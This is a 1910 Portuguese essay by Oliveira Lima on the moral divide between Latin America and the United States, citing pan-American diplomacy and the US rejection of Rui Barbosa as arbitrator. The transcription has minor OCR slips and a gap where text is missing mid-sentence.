AMÉRICA DO SUL VERSUS AMÉRICA DO NORTE
Oliveira Lima
pede-me a direção da Deutsche Revue que trate nas suas páginas
dos contrastes entre a América do Sul e a América do Norte. Quem diz contraste diz oposição, e é fato que não obstante todas as con-terências pan-americanas, que se seguem e se parecem pela esteri-lidade dos seus resultados práticos e pela timidez dos seus votos, união das duas Américas — a Saxónica e a Latina — não passa ainda e sobretudo de um belo tema de exercício da literatura pan-americana, especialmente da literatura de sobremesa dos ágapes pon americanos, tão demasiadamente numerosos.
No fundo persiste, de um lado, uma desconfiança que parece incurável, do outro, um desdém que parece não menos incurável. Dir-se-ia, pois, que o mal é sem remédio, apesar dos esforços de Alguns diplomatas que não quereriam ter que renunciar aos encantos mundanos de Washington, e apesar também das excursões oratórias, de casaca como a do ex-secretário de Estado Root, ou mesmo de paletó-saco como a do ex-candidato democrata Bryan — apóstolos ambos, e nem poderia ser diverso seu papel, do pan-americanismo unilateral que implica a influência dominadora, exclusiva, ciosa, dos listados Unidos sobre a massa das Repúblicas manas que a natureza por um triz dividiu, e que o gênio humano quis de vez separar, num símbolo instintivo de divórcio moral.
Este divórcio moral de todo tempo existiu. As duas Américas nem sequer se conheciam nos tempos coloniais, e a emancipação política da América Latina realizou-se à custa de muito trabalho e de muito sangue — pelo menos a da América Espanhola — sem que os Estados Unidos tivessem pensado em intervir é em apoiar as reivindicações dessas populações em luta pelas suas liberdades. Cabem à Inglaterra de Canning a honra e a glória de haver cogitado de tal.
Desde então nutrem os Estados Unidos — e não poderia este sentimento ser desconhecido dos neo-latinos, porque se disfarça mal — um desdém invencível pelos outros países americanos, exceção feita do Canadá, sujeito à mesma raça: melhor dito, eles nunca consideraram como realmente suas iguais as nações de origem espanhola e portuguesa. Seu governo pode num momento dado “fofar” esta ou aquela — ontem era a vez do México, hoje é a do Brasil — com o desígnio de fazer dela um instrumento junto do resto, ven-dendo-lhe, entretanto, a maior soma possível de mercadorias, o que é de todo ponto legítimo e natural.
Não subsiste por isso menos o desdém num grau igual para todas; menor, em todo caso, com relação à República Argentina e ao Chile, porque, mercê das condições do seu clima, da sua colonização passada e presente e da natureza do seu desenvolvimento
campanha eleitoral em favor do governo civil e liberal, empreen-dida no Brasil como candidato nacional à presidência da República — quem, provocando a simpatia e forçando a admiração, se constituiu o defensor da boa causa, portanto, o representante de todo esse mundo neo-latino, cuja cultura e espírito de governo surpreenderam a Europa.*
O Sr. Rui Barbosa acaba precisamente de ser proposto para superárbitro pelo ilustre estadista belga Beernaert, o qual foi escolhido por Venezuela como árbitro numa controvérsia com os Estados Unidos, a ser julgada na Haia. Seu nome foi, no entanto, recusado pelos Estados Unidos — igualmente o foram, em seguida ao dele, os dos Srs. Leon Bourgeois, Leon Renault e Lardy: — o que é um modo assaz curioso de compreender a “solidariedade continental” e de praticar o “espírito americano”. De uma e de outro se faz, contudo, um tão grande consumo literário!
O último acontecimento do dia, na política internacional das duas Américas, é, portanto, o seguinte: para julgar uma questão puramente americana, um árbitro europeu, e para mais um homem de primeira ordem, propõe como desempatador um dos mais reputados jurisconsultos c letrados latino-americanos, o qual a América Saxónica tem bem cuidado de não aceitar. Nenhum poderia pôr melhor em destaque os contrastes, digamos o antagonismo entre elas.
As duas Américas, é caso para desejá-lo, farão bom consórcio no futuro. Os tempos andam de paz, e os matrimônios de conveniência são no geral mais calmos que os de amor. Seus caracteres distanciam-se, entretanto, demasiado, bem como divergem suas tradições; suas aspirações são em demasia pessoais, e em demasia particulares seus interesses, para que possa haver entre ambas fusão dalmas ou sequer união de corações.
Bruxelas, abril de 1910
Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.
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